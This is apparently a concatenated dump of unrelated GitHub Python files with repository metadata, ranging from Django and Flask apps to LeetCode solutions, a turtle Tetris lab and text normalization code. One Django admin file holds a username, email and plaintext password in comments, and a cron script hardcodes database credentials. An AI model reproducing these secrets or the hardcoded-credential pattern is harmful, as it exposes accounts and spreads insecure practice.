# Use a conventional Router from the rest_framework
# instead of designing your own URL configuration.
# Create a DefaultRouter and register ... | [
"sdugaro@yahoo.com"
] | sdugaro@yahoo.com |
77a44432aa7f28252cb803298f8bb7664d2e1eb8 | 219093b90d349dc050ddf26ab57c649022c7963b | /Scripts/data_scraper.py | 636c1e18c1ace42dd2aebd43af5e16479cf67875 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Viswalahiri/Lowes_Campus_Hackathon | ee796782ff1473e45de920263a8fe226266fa240 | 1d5cbfa5dfbb69caeab466bba23d41000ee950cf | refs/heads/master | 2022-04-06T23:04:06.402740 | 2020-03-02T15:09:33 | 2020-03-02T15:09:33 | 243,606,204 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,684 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""database_access.py: Data scraping from Lowe's Website."""
__author__ = "Viswalahiri Swamy Hejeebu"
__credits__ = ["Viswalahiri Swamy Hejeebu"]
__license__ = "MIT"
__version__ = "0.1.0"
__maintainer__ = "Viswalahiri Swamy Hejeebu"
__email__ = 'viswalahiriswamy... | [
"noreply@github.com"
] | noreply@github.com |
f234970cc03b2b7447febb9c9e156b9a94b66ae3 | 294e06019b9eb4a3636f2afab40a1b6965442355 | /bbs/app01/templatetags/label.py | 62188d0c841cad7ea8b3b21e6440b1e69daa28ce | [] | no_license | zz674266308/first_project | 730fe246e91756eb2b409b9476474d5e6004f419 | 49723f968f85b44f06690c1259f50a65df041faf | refs/heads/master | 2021-01-11T21:44:30.123646 | 2017-01-22T05:30:10 | 2017-01-22T05:30:10 | 78,842,781 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,953 | py | #encoding:utf-8
import sys
sys.path.append("..")
from django import template
import uuid
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
register = template.Library()
@register.simple_tag
def Comment_tree(ladder,judge,user):
if judge:
s_tr = '<input type="submit" value="发表" />'
... | [
"674266308@qq.com"
] | 674266308@qq.com |
7848a73bd678b7617e124fee35033ea7491f9e42 | 5d21cfb8c14d5713d5408fc4be180840a9617ff0 | /catalog/admin.py | 34ba0db0db8f9cdd8e699deb02ca85f4f36de485 | [] | no_license | derekvance21/django-tutorial | 9004c5738f135e7b14b5cb6df49748327a53154a | 3124e60d39f936bad6d37de67d2c65b2270ca4d9 | refs/heads/master | 2021-04-21T21:24:28.345389 | 2020-03-24T21:17:06 | 2020-03-24T21:17:06 | 249,816,582 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,381 | py | from django.contrib import admin
# Username: derek
# Email: derekvance21@gmail.com
# Password: django_projects_1.0
# Register your models here.
from .models import Author, Genre, Book, BookInstance
# admin.site.register(Book)
# Register the Admin classes for Book using the decorator
class BooksInstanceInline(admin.T... | [
"derekvance21@gmail.com"
] | derekvance21@gmail.com |
ee2b40afb8911f80c018974b0deec8dfda00f843 | 4ac3705dbe0a1af8db877b24037177f99da5a4b7 | /Begard-BackEnd/Begard_project/begard_app/urls.py | e98f893109cf338ab137ad40bccaf5ef1e0697b5 | [] | no_license | mohammadym/Begard_project | 97b0ed094638de0633e4877af6e38aae107c5c6f | 1e2cee08663008548f90caa26d46d590300e5d5a | refs/heads/main | 2023-06-08T18:29:21.222867 | 2021-06-18T11:19:24 | 2021-06-18T11:19:24 | 378,125,686 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,071 | py | from django.urls import path
from . import views
my_app = 'begard_app'
urlpatterns = [
path('', views.HomePageView.as_view()),
path('cities/', views.CitiesListView.as_view()),
path('cities/<int:id>/', views.SuggestListView.as_view()),
path('cities/<int:id>/suggest-plan/', views.SuggestPlanView.as_view(... | [
"gamerplus7831@yahoo.com"
] | gamerplus7831@yahoo.com |
94ec630b2dba33bc09bb6dd9addb7d1b209271a0 | 7341fa30ae20d00e9df62bff3cdf2f185c41b33a | /Codeup/src_5/1054.py | 09de244240cfe9f400cf187d2c8d71d91605e1ca | [] | no_license | kkimke/Algorithm | 4ecaee6f90e796ed0bf66bed0d17128f8d0f48d0 | 8f8a692dda850b626ae443bf25fdefb160649c36 | refs/heads/master | 2023-03-07T13:55:37.730743 | 2021-02-21T15:17:23 | 2021-02-21T15:17:23 | 334,133,459 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 211 | py | a, b = input().split()
a = int(a)
b = int(b)
if a == 1 and b == 1:
print(1)
else:
print(0)
'''
a, b = input().split()
x = int(a)
y = int(b)
b1 = bool(x)
b2 = bool(y)
z = int(b1 and b2)
print(z)
'''
| [
"k_k_eun@naver.com"
] | k_k_eun@naver.com |
21a2188badd0f2aed815796efd17d385ef88d045 | a7a5a82e106bd4e620d2d754491d0133a39ad05a | /Cracking Codes Using Python/Chapter 3/if_else.py | 8dd8426e50ea0249477b7a1c1e9d7699ec2b1db3 | [] | no_license | shivammore/Study-Material | d5ff62026cece033f66a19f303874196040bd7f8 | 5985e541c01c27858501cd012f9e6dd3b4109de3 | refs/heads/master | 2020-12-30T08:26:11.772124 | 2020-02-29T14:04:02 | 2020-02-29T14:04:02 | 238,927,118 | 0 | 0 | null | 2020-02-29T14:04:03 | 2020-02-07T13:16:28 | C++ | UTF-8 | Python | false | false | 317 | py | #Condition Checking - If Else
NUM = eval(input("Enter The Number : "))
if NUM%2==0:
print(" = Even Number")
else:
print(" = Odd Number")
#Output
'''
student@IOEM1LAB:~/ab$ python3 if_else.py
Enter The Number : 5
= Odd Number
student@IOEM1LAB:~/ab$ python3 if_else.py
Enter The Number : 124
= Even Number
'''
| [
"noreply@github.com"
] | noreply@github.com |
7434b8efe432e1a0a174e5abe663a10ebcf86818 | 47d21f1932562400beac5849fc945144fb3e09c3 | /11_13_19.py | df6f080b6e75fa082b65e166c32a4f89aefacb5d | [] | no_license | Ssawalha/Recursion-Practice | 9a372f047a87282a1dccc3c00bef52cc27bc965c | d64095405580f9d1bfb28ed641897e112002762f | refs/heads/master | 2020-09-10T19:05:43.173111 | 2019-11-27T19:52:24 | 2019-11-27T19:52:24 | 221,808,847 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,693 | py | # 2 types of programming interview questions
# Theoreritcal Questions
# Programming Questions (Typical types of questions: Data Structures | Recursion | Efficiency)
#
# Programming Quesitions - Data Structures
# Lists | Trees | Graphs | Hashtables (dictionaires in python, key:value)
# ^ Typical questions ask... | [
"sami_sawalha@hotmail.com"
] | sami_sawalha@hotmail.com |
40a59c771348d96bbfa8ef02b04543eb7b724b1d | f1d2a86b7dd93f4ddafa8961780775a28e7b4508 | /GeneralPractice/1606. Find Servers That Handled Most Number of Requests.py | 879d823415d8ec7fab5bc2919834d48cf4986b64 | [] | no_license | deepika087/CompetitiveProgramming | 76f8c1451fce1a8e3c94656f81a5b04363987dc6 | d40c24736a6fee43b56aa1c80150c5f14be4ff22 | refs/heads/master | 2021-06-12T02:26:22.374506 | 2021-02-20T19:27:57 | 2021-02-20T19:27:57 | 70,208,474 | 10 | 6 | null | null | null | null | UTF-8 | Python | false | false | 1,097 | py | __author__ = 'deepika'
"""
It is one of those problems in which data structue definition is more challenging than the actual code.
Time complexity : O(n log k)
"""
import heapq
class Solution(object):
def busiestServers(self, k, arrival, load):
"""
:type k: int
:type arrival: List[int]
... | [
"deepika_087@yahoo.com"
] | deepika_087@yahoo.com |
1338c3918030a5fde2e58fc03a3c2b1ebf0c6507 | e3225cbb7bf77cf0e738f8ee6a86ac31fd15b72b | /regression/features.py | c50f46eeb56048cd2d57423f2fa35cdb66b71f36 | [] | no_license | davidtenorio1/ds-methodologies-exercises | 7a001be88b481bb2367f4794785f8a02f797f733 | 3c83662a58d958cb419bc0281dbee7517ffbea53 | refs/heads/master | 2020-08-08T22:28:51.163069 | 2020-04-08T01:33:08 | 2020-04-08T01:33:08 | 213,935,044 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,518 | py | # Our scenario continues:
# As a customer analyst, I want to know who has spent the most money with us over their lifetime.
# I have monthly charges and tenure, so I think I will be able to use those two attributes as features to estimate total_charges.
# I need to do this within an average of $5.00 per customer.
im... | [
"dtenorio2169@gmail.com"
] | dtenorio2169@gmail.com |
0bbc40b9429cae53b6ab6d60f72d811f9916aead | 681199b533b6ef229c239025d5b5a6634de43284 | /main.py | e510c097b250b310aca5b94a7f6375eff6c19324 | [] | no_license | ivisvinay/deloitte | eb8ca671990fa2e0deee775e7f0d07be8ecfbd83 | 5f6349a14692bdf10e731f5c7cb91ed30b9e6a27 | refs/heads/master | 2023-09-02T08:36:45.462395 | 2021-11-03T03:06:02 | 2021-11-03T03:06:02 | 423,779,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 221 | py | # -*- coding: utf-8 -*-
"""
Created on Mon Apr 6 13:54:20 2020
@author: admin
"""
import cv2
from table_process import table_process
img1 = cv2.imread('thamer.png',0)
object_repository=list()
table_process(img1)
| [
"vinay@ivislabs.com"
] | vinay@ivislabs.com |
8d5ea38ea073ddd1e41f08495dc6a12be204154e | 6abbc52a2cca82318172ffbb2b486734619c2894 | /caesar.py | 0dc4c13f85bb37cd03e17d30a4c5e9370c011a83 | [
"MIT"
] | permissive | UndeadRat22/ctf-tools | 88e79bc7bd2b6d2a05c4ef1424e0081bcd39d8f3 | 25bac5ccf56f5e272c3a227443858fb5b7041860 | refs/heads/master | 2020-04-14T18:33:48.122376 | 2019-01-04T14:16:22 | 2019-01-04T14:16:22 | 164,023,957 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,265 | py | def is_upper(c):
if (c >= ord('A')) & (c <= ord('Z')):
return True
return False
def is_lower(c):
if (c >= ord('a')) & (c <= ord('z')):
return True
return False
def shift(text, step):
output = ""
for letter in text:
char = ord(letter)
if is_lowe... | [
"noreply@github.com"
] | noreply@github.com |
8acba408ff4d695cdb50ec45f21070d11914dc9e | bce2731c2d9a81972c4347d07d4ba101a50449e9 | /legacy/lookup_table_generator.py | b691bd44d10534a18039ecf29a5356a67be8d7e6 | [] | no_license | dnarayanan/despotic_lookup_table_generator | 004e99836fea5b59a587944f4ce53cdb81e69ef4 | 5b954d6321b7e336ca8f7147dcabe215961e8e93 | refs/heads/master | 2020-09-25T07:52:48.353428 | 2019-12-04T20:26:23 | 2019-12-04T20:26:23 | 225,954,745 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 10,376 | py | #NOTES TO DO:
#1. si the velocity dispersion forced to be virialised? If not, need to make sure it is.
# Import the despotic library and various standard python libraries
from despotic import cloud,zonedcloud
from despotic.chemistry import NL99_GC
import despotic
import numpy as np
import matplotlib.pyplot as plt
fr... | [
"none@none"
] | none@none |
e245b37ce6b9ca96e46b8ef99c803dfdffa607e5 | a1d263167f435537fa19510f83c6e9fa002150de | /section6/code/app.py | 273f28fd1317c04cdc70956ba07ad594689cb6f1 | [] | no_license | quique280/Python-Flask-Udemy | 3a22bf75ca21e1489da6adf0bdef817843f7fee2 | 67106008d28c75c8ae45e7d0bca036c98c7d9384 | refs/heads/master | 2023-02-24T21:48:41.553016 | 2021-02-03T03:56:49 | 2021-02-03T03:56:49 | 328,220,698 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,815 | py | from flask import Flask, jsonify
from flask_restful import Api
from flask_jwt import JWT
# from datetime import timedelta
from security import authenticate, identity
from resources.user import UserRegister
from resources.item import Item, ItemList
from resources.store import Store, StoreList
from db import db
app =... | [
"enrique.diaz@triadhq.com"
] | enrique.diaz@triadhq.com |
46c98a4ca334775f824e52d89075b6ebd61cb0b4 | 9a824818f64794d6faf3938c29a9b76aa34861a0 | /E_business_project/apps/E_business_project_admin/views/user.py | fa06623480b793cf7165d4dc02547fb7c651010d | [
"MIT"
] | permissive | ambushonallsides1/E_business_project | 221931e845eada75b1c0d02d5532eeb4c271828f | bf386391e58e0e82787ddc07fc678937e345a4cb | refs/heads/master | 2022-12-15T04:58:41.789782 | 2020-02-17T04:55:18 | 2020-02-17T04:55:18 | 238,464,719 | 0 | 0 | MIT | 2022-12-10T17:56:56 | 2020-02-05T14:06:33 | HTML | UTF-8 | Python | false | false | 1,038 | py | from rest_framework.generics import ListCreateAPIView
from apps.E_business_project_admin.serializers.user import UserSerializer, UserAddSerializer
from apps.E_business_project_admin.utils import PageNum
from apps.users.models import User
class UserListView(ListCreateAPIView):
pagination_class = PageNum
def g... | [
"1142403331@qq.com"
] | 1142403331@qq.com |
85b44a6d09829fe02164b0352254195d4a9b9f10 | 2e98deb1931aca5f69434e85010153b8b4b7f76e | /tests/json-to-yaml.py | 509903970d379fc1d097d98af3568ecece39d6ad | [
"Apache-2.0"
] | permissive | marklap/taurus | 8ec1ff80bbfd3f38f620930e88500b9ff7b3528b | 8a485d05b3890bd842d627e53deccfc2d21eb2b8 | refs/heads/master | 2021-01-15T11:19:24.722950 | 2015-03-31T21:19:09 | 2015-03-31T21:19:09 | 33,209,884 | 0 | 0 | null | 2015-03-31T21:05:18 | 2015-03-31T21:05:18 | null | UTF-8 | Python | false | false | 268 | py | import os
import sys
import tempfile
from bzt.engine import Configuration
fp, filename = tempfile.mkstemp()
os.write(fp, sys.stdin.read())
conf = Configuration()
conf.load([filename])
conf.dump(filename, Configuration.YAML)
sys.stdout.write(open(filename).read()) | [
"apc4@ya.ru"
] | apc4@ya.ru |
cc2f6c6e74ec7b93e3e436ea239a61223c2dadcc | e116250b4a3b1182ff143ef5b8c0e96578661a87 | /Regularized_L1_Bitcoin_Predict_Tweet_LSTM.py | 55acad47dbafff0d57695d69f2531aa95280c19b | [] | no_license | Krishraj95/Machine_Learning | ebf74e854d274dc3f1318dfb8aea657e08946252 | b0c1d391b29a90d76a5226972c05e583c8df5079 | refs/heads/master | 2020-04-01T03:48:39.944289 | 2018-10-13T06:30:50 | 2018-10-13T06:30:50 | 152,837,290 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,399 | py | import numpy as np
import pandas as pd
from sklearn.preprocessing import MinMaxScaler, RobustScaler
import h5py
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation, Flatten
from keras.layers import Conv1D, MaxPooling1D, LeakyReLU, PReLU, LSTM
from keras.utils import np_utils
from ker... | [
"noreply@github.com"
] | noreply@github.com |
a4ca4991df78e73d84a0428c669cb5d62ac54777 | 54e2b95d806ea8a6e08734177899720498c229ea | /flask-demo/test/flask_bug.py | 2771cfe294ae3a65a256113eaf7a2ed204ae4d6c | [] | no_license | liuziping/My-Script | 22640f72f7bf8a4ccf3b70039e2b67c5512d8c99 | 5eabff08dba35fb9ac6b37a13b31e68f1822f101 | refs/heads/master | 2020-04-03T20:14:23.923240 | 2018-04-22T05:17:22 | 2018-04-22T05:17:22 | 35,647,835 | 21 | 28 | null | null | null | null | UTF-8 | Python | false | false | 247 | py | from flask import Flask
app=Flask(__name__)
@app.route('/',endpoint='index')
def index():
print "fuck you"
@app.route('/',endpoint='index')
def index():
print "fuck you"
#@app.route('/test',endpoint='test')
#def index():
# print "game over"
| [
"liuziping@yuanxin-inc.com"
] | liuziping@yuanxin-inc.com |
8691a9bc6ee66bfd8d8db9b0642ffaa84c910880 | 51474e20f976b9d2d85c870386ae8e7b74a98a63 | /mla/fm.py | 85964a99d83bede4a8b36a499f86ffd837c721f7 | [
"MIT"
] | permissive | Fage2016/MLAlgorithms | d191a579d97438cc593d5c1d883d8bdffe0eea78 | 035e489a879d01a84fffff74885dc6b1bca3c96f | refs/heads/master | 2023-03-07T14:50:51.861322 | 2022-01-31T06:13:40 | 2022-01-31T06:13:40 | 73,798,801 | 0 | 0 | MIT | 2023-02-04T23:47:22 | 2016-11-15T09:39:07 | Python | UTF-8 | Python | false | false | 2,594 | py | # coding:utf-8
import autograd.numpy as np
from autograd import elementwise_grad
from mla.base import BaseEstimator
from mla.metrics import mean_squared_error, binary_crossentropy
np.random.seed(9999)
"""
References:
Factorization Machines http://www.csie.ntu.edu.tw/~b97053/paper/Rendle2010FM.pdf
"""
class BaseFM... | [
"me@rushter.com"
] | me@rushter.com |
cdd264a02f5ac388371c0f6f179ae5d0eddcea7f | be881603d2bfdfe9cd325f866f384f5d5e451a33 | /werewolf/migrations/0002_auto_20170901_1629.py | edaa8f15e77a550e9d26521bcbdfbe21f8767dc9 | [] | no_license | tuchang/arcadia19th | c6308a45e4829bdbbc20d4122a2989efda6f79bb | 89979b0d1a40cec28d76233e2fa6b7f853a13499 | refs/heads/master | 2020-11-30T17:33:08.163548 | 2018-09-01T08:26:04 | 2019-07-29T04:34:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 649 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-09-01 16:29
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('werewolf', '0001_initial'),
]
operations = [
migrations.AlterField(
... | [
"st09d23@gm.ibaraki-ct.ac.jp"
] | st09d23@gm.ibaraki-ct.ac.jp |
0ac28e761442c9316f1cbbcc2594a7f76025c990 | e0e5e4a7f45e747762a627690d64b7ae10cc82e8 | /data_normalization.py | 9471a5f310926c15b258f8c8d4e06a9c0ec57c32 | [] | no_license | nguyenviettien13/postprocessing | 44ef182d3e441d41d2f37eff1bff87fafac3d381 | e944cd4e8bd31e5807de366838df206ad28daca9 | refs/heads/master | 2020-04-13T19:31:25.923218 | 2018-12-28T11:57:32 | 2018-12-28T11:57:32 | 163,405,029 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 78,081 | py | # encoding: utf-8
# Read numb
import datetime
import json
import re
from random import random, shuffle, randrange
# from concurrent.futures import ProcessPoolExecutor
dict_digit = {
"0": "không",
"1": "một",
"2": "hai",
"3": "ba",
"4": "bốn",
"5": "năm",
"6": "sáu",
"7... | [
"tiennv000@gmail.com"
] | tiennv000@gmail.com |
29c5d279f4d670c345637bd7f5d6167924532aa7 | cdd79cef15bdf6a0b9098e27028bbe38607bc288 | /深さ優先探索/ABC177_D_Friends_dfs.py | 943a19f60eeb924be107769dc2e7bfa0f536459a | [] | no_license | nord2sudjp/atcoder | ee35a3eb35717485dc62627172de24c9dac102fb | 6b1cc5102a615492cc7ff8a33813bbb954641782 | refs/heads/master | 2023-08-25T11:27:14.205593 | 2021-09-27T05:43:04 | 2021-09-27T05:43:04 | 302,855,505 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 453 | py | import sys
sys.setrecursionlimit(1000000)
f=lambda:map(int,input().split())
N,M=f()
if M==0:
print(1)
exit()
G=[set() for _ in range(N+1)]
for _ in range(M):
a,b=f()
G[a].add(b)
G[b].add(a)
# print(G)
d={}
F=[0]*(N+1)
def dfs(i,n):
if F[i]:return
F[i]=1
for g in G[i]:
if F[g]:continue
t... | [
"nord2sudjp@gmail.com"
] | nord2sudjp@gmail.com |
ccc1d741ee3208111666ccb6fc3d47c80320cd5d | 060f803dbd3f20a1c3ddd79d6072cd977844018b | /netsed_lists.py | fe170aa210e92bb288bbfc8679142a7bb5f3ea17 | [] | no_license | parthivpatel1106/Python_hackerrank_programs | 9f8a493ae135808d2cda2660522654163cd3782c | dde753f3ca97aa82764ddf1c8ce42a91e4eba874 | refs/heads/master | 2023-03-11T02:03:38.572004 | 2021-03-03T08:52:59 | 2021-03-03T08:52:59 | 289,438,124 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 489 | py | a=[]
n=int(input())
for i in range(n):
name=input()
marks=float(input())
a.append([name,marks])
print(a)
a.sort(key=lambda a: a[0])
print(a)
low=min(a,key=lambda a: a[1])
print(low)
a.remove(low)
print(a)
for i in range(0,len(a)-1):
if(a[i][1]==low[1]):
lower=a[i]
print(lower)
a... | [
"parthivpatel1106@gmail.com"
] | parthivpatel1106@gmail.com |
a4dbd1ab3c19813784957e964a0199b0cc6018f7 | 53e2254b83ac5ac71ff390a7c77070ff97b31c0b | /sum_fst_last.py | 9aea524e6321759e0fe3de9a7b5ecf4005de334c | [] | no_license | Ponkiruthika112/codekataset1 | 83a02b96a6b35c33ae7c5a6d6b21c34e63a7eef4 | 4f164864a59e22122b647dd62d36d24e7ace7dac | refs/heads/master | 2020-04-15T04:58:44.427824 | 2019-09-06T10:10:12 | 2019-09-06T10:10:12 | 164,404,367 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 62 | py | n=int(input())
k=str(n)
s=int(k[0])+int(k[-1])
print(s)
#sum
| [
"noreply@github.com"
] | noreply@github.com |
66cd79a3de69be923d5deb47568c0adf8455ca26 | 4372c756741173211b51208f555f907e2aabf88e | /Lab 2/tetris2.py | 8844a3728a87b8b54b7a981acc26ab4e951ac1cc | [] | no_license | rdh1896/CS1-Assignments | eeb0d316bcc6f4ba509c9c851a85817555e48756 | cb8b679cc78ef2d630e7106bb69bd8f642ba83e5 | refs/heads/master | 2020-04-15T12:15:47.894842 | 2019-01-08T15:36:25 | 2019-01-08T15:36:25 | 164,667,120 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,248 | py | """
Tetris 2: The Sequel
Name: Russell Harvey
File: tetris2.py / Lab 02
"""
import turtle as tt
def initialize():
"""
Sets the turtle in a location so that the board
is more centered on the canvas.
Pre-Conditions: Turtle is down, facing east.
Post-Conditions: Turtle is up, facing east. Located at... | [
"noreply@github.com"
] | noreply@github.com |
4dc1340f7d651188c9daf539747bc47c6df56d8f | 047aa66bb29f810fb52b734e0e7eaa47cd7cd8c7 | /web_flask/4-number_route.py | 130ede6998cb48d64fa65435b169a825a3d7814d | [] | no_license | DiegoRmsR/AirBnB_clone_v2 | 67efbbb71798f90a3d26d72c7be2814bbda0028e | a6756621cc76b94ad456dd16d847f1f5cb59878c | refs/heads/master | 2020-12-08T07:07:29.347741 | 2020-01-23T04:34:34 | 2020-01-23T04:34:34 | 232,921,388 | 0 | 0 | null | 2020-01-09T22:51:49 | 2020-01-09T22:51:48 | null | UTF-8 | Python | false | false | 991 | py | #!/usr/bin/python3
""" script that starts a Flask web application """
from flask import Flask
app = Flask(__name__)
@app.route('/', strict_slashes=False)
def hello_HBNB():
"""route / that display Hello HBNB"""
return ("Hello HBNB!")
@app.route('/hbnb', strict_slashes=False)
def hbnb():
"""route /hbnb th... | [
"Diegoramos.mt@gmail.com"
] | Diegoramos.mt@gmail.com |
6b22025736585ebd7fb592f4545cad2786c6e33d | ad13583673551857615498b9605d9dcab63bb2c3 | /output/models/ms_data/datatypes/facets/ncname/ncname_max_length002_xsd/__init__.py | 635209195235b0d6fbe5b2195b93e98c31d1ab97 | [
"MIT"
] | permissive | tefra/xsdata-w3c-tests | 397180205a735b06170aa188f1f39451d2089815 | 081d0908382a0e0b29c8ee9caca6f1c0e36dd6db | refs/heads/main | 2023-08-03T04:25:37.841917 | 2023-07-29T17:10:13 | 2023-07-30T12:11:13 | 239,622,251 | 2 | 0 | MIT | 2023-07-25T14:19:04 | 2020-02-10T21:59:47 | Python | UTF-8 | Python | false | false | 173 | py | from output.models.ms_data.datatypes.facets.ncname.ncname_max_length002_xsd.ncname_max_length002 import (
FooType,
Test,
)
__all__ = [
"FooType",
"Test",
]
| [
"tsoulloftas@gmail.com"
] | tsoulloftas@gmail.com |
8410f9111702156789ce8931d81ce479148185f7 | 3805003b4f7e847b535dce2c9535c8accff24578 | /tf_literature_based_discovery/library.py | 6b4c1be0362fe78921adec61aaf2772915e2a84e | [
"MIT"
] | permissive | xflows/tf_literature_based_discovery | 0cbce507d44cf0e1999669667d0cfb7a2e4a9c8f | 4558f3a849a06eee880e1667e6a26cf14dd6dc53 | refs/heads/master | 2021-01-17T15:05:58.722411 | 2016-12-13T14:48:09 | 2016-12-13T14:48:09 | 71,787,078 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 5,166 | py | import numpy as np
from tf_literature_based_discovery.lib.heuristics.heuristic_calculations import HeuristicCalculations
from tf_core.helpers import flatten
from tf_core.bow_dataset import BowDataset
def lbd_select_ensemble_heuristic(input_dict):
return {}
def lbd_select_ensemble_heuristic_post(postdata, input_... | [
"mperice@gmail.com"
] | mperice@gmail.com |
4ea4b35800843503e8019fb9875c992383c081aa | aafc7ac444bcc5b7a75a742324a43526bd964bb7 | /venv/HuShi/Common/Login.py | 070b2b27ba3a57512038d86035c3f40d711fc073 | [] | no_license | Se7ven-Zhou/VeehuiStudy | 44e1de9af694cfb7aa9bf6bf5148612f5435f346 | dd03f1f3b0c8eadd51d5c1aa174be00353aa13da | refs/heads/master | 2020-04-26T01:47:34.735265 | 2019-03-01T01:34:20 | 2019-03-01T01:34:20 | 173,214,757 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,095 | py | # coding :utf-8
import requests
import HuShi.Config.SignatureConfig
from HuShi.Config.EnvironmentConfig import Environment
from HuShi.Common.PackageInfo import PackageInfo
class Login:
def __init__(self,unionId,openId,accessToken,systemName = "Android|8681-A01;5.1;22"):
self.openId = openId
sel... | [
"406574570@qq.com"
] | 406574570@qq.com |
fc7ac04e34766dcb403262696e1fd961f2d40318 | 084430fc420920302acc7762db67a09ad71d3f2d | /hostal/alojamiento/migrations/0021_auto_20210404_1603.py | c135f7605629a17d439ade81151275afc696aae2 | [] | no_license | blackdog123/Hostal | e8f57342ba021e1d0af43c5fe21168757c99616b | d7537c630a9905970e861557babf8ff696fa53d4 | refs/heads/main | 2023-07-11T22:29:28.191103 | 2021-08-22T22:46:27 | 2021-08-22T22:46:27 | 356,039,011 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,140 | py | # Generated by Django 3.1.7 on 2021-04-04 20:03
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
... | [
"Angelo"
] | Angelo |
bd03ecf0af4bef110104d2ca82c506502852e5a5 | c394fbbdaf9727d3c8328b1a5135ad6736a557a8 | /DjangoProject/newproject/newproject/urls.py | f8089471bda353df9f3bb4e0248ad113518fa433 | [] | no_license | rajkumar0943/Python_DjangoProject | cef255f4b45673ab4bcc3d75562dc656712d41d6 | 9c4cba42b90abbc67fc2b92a55fd6e82cd98f0dc | refs/heads/master | 2022-10-29T09:57:42.730135 | 2018-05-18T03:16:15 | 2018-05-18T03:16:15 | 133,892,467 | 0 | 1 | null | 2022-10-09T17:52:27 | 2018-05-18T02:27:19 | Python | UTF-8 | Python | false | false | 301 | py | from django.conf.urls import include, url
from django.contrib import admin
urlpatterns = [
# Examples:
# url(r'^$', 'newproject.views.home', name='home'),
# url(r'^blog/', include('blog.urls')),
url(r'^admin/', include(admin.site.urls)),
url(r'^app1/', include('app1.urls')),
]
| [
"raj.pydev23@gmail.com"
] | raj.pydev23@gmail.com |
253d52b88d2677333ae257f76120fcdd44f22303 | f968aaee1eb2c779fcf90a79d8fa1c98ae32a812 | /Funciones/Correo.py | 1dfe87d5fbfbbe19b46169aea60b0a30019cd6f5 | [] | no_license | grodrig6/Caso_clasifica_bases | a06ae77be4d6700b303e70417e1246a84463d676 | 0ab1586d0439d6403cfdb529d17170ec6ef61354 | refs/heads/master | 2023-03-28T05:05:00.371117 | 2021-04-02T22:05:54 | 2021-04-02T22:05:54 | 354,137,826 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,692 | py | import smtplib
from email.mime.text import MIMEText
from email.header import Header
class Correo:
def __init__(self):
self.mensaje1 = 'Asunto: Reváldas de bases de datos año en curso'
def env_notifica_correo(self, usuario, contrasenia, mensaje, destinatario):
try:
self.message = M... | [
"gerc.merimee@gmail.com"
] | gerc.merimee@gmail.com |
d48639cb083f92ecfb74ab84f3c867fc52dd933d | ae6f02ff73f2aca780bbe75b0019dd37082b3660 | /cron/mobfix.py | ea1322ad04af30e7a9e89cf1211253b11d203cb2 | [] | no_license | KakushiTLG/MeguNext | d61588dc8ad7d7cc3a9520365b61ba9c9b646adf | feb14e0d17b7a7d38ebfcb6154afb67b2836aba9 | refs/heads/master | 2023-02-08T14:05:18.772796 | 2020-08-29T09:26:34 | 2020-08-29T09:26:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,536 | py | import pymysql
import telebot
def on_db():
db = pymysql.connect(host='localhost',
user='rabbit',
password='password',
db='megu',
charset='utf8mb4',
cursor... | [
"noreply@github.com"
] | noreply@github.com |
8cd9dca2786c32e650bc96d3611e6ef7eed55bd5 | 204a2344620097b0dd778e37638c71138a5c6642 | /app/lib/TransferManager.py | f195a0ffbbe7c1b2972a1bef100c7100a1b0d296 | [] | no_license | jnorth/cybergoose | 0eedc663d499e3adc7551865f6361843b88b2ab9 | dfb6c7a9b268508f74da8fde4d0697daf33fb7a0 | refs/heads/master | 2021-01-24T11:27:55.720710 | 2016-12-21T01:23:26 | 2016-12-21T01:23:26 | 123,084,572 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 787 | py | from queue import Queue
from .Worker import Worker
class TransferManager:
def __init__(self):
self.queue = []
worker = Worker(self)
worker.start()
self.workers = [worker]
def enqueue(self, transfer):
self.queue.append(transfer)
def all(self):
return [item for item in self.queue]
def... | [
"north@sublink.ca"
] | north@sublink.ca |
4b8d187a174a15db189f2095ccd00d689b4b991a | 506c500de4793e600df3d0fe62a449ca61a25525 | /112. Path Sum.py | 2ea4f4c583a482227960b473832c9d4d1d171d00 | [] | no_license | Barret-ma/leetcode | f5c68cf4a7e93b9f0f931bff386fa2b091c10b2c | 2ec3a30e278263b86eeb7bfd0a1eadc234095ec3 | refs/heads/master | 2021-04-12T10:07:24.814633 | 2020-01-23T02:38:26 | 2020-01-23T02:38:26 | 126,462,571 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,507 | py | # Given a binary tree and a sum, determine if the tree has
# a root-to-leaf path such that adding up all the values along
# the path equals the given sum.
# Note: A leaf is a node with no children.
# Example:
